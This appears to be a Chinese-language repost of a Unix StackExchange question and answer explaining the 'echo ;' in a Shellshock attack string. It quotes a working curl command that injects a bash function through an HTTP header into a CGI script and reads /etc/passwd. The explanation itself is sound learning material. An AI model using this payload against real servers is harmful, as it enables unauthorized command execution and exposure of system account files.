Echo

此砲擊攻擊中的分號點

  • January 20, 2018

我正在審查一次砲擊攻擊,但不理解這段程式碼:

curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "

我不明白的部分是echo ;在遠端機器上實際執行的命令中在 /etc/passwd 上回顯 Content-Type 和 /bin/cat 之間的功能。

這裡的作用是echo ;什麼?

謝謝。

這就是 HTTP 的建構方式。HTTP 標頭後必須有一個空行。這就是孤獨echo產生的結果。

比較這兩個:

echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

和:

echo Content-Type: text/html; /bin/cat /etc/passwd

現在應該很明顯了echo ;。(當然,分號分隔命令。)

引用自:https://unix.stackexchange.com/questions/418364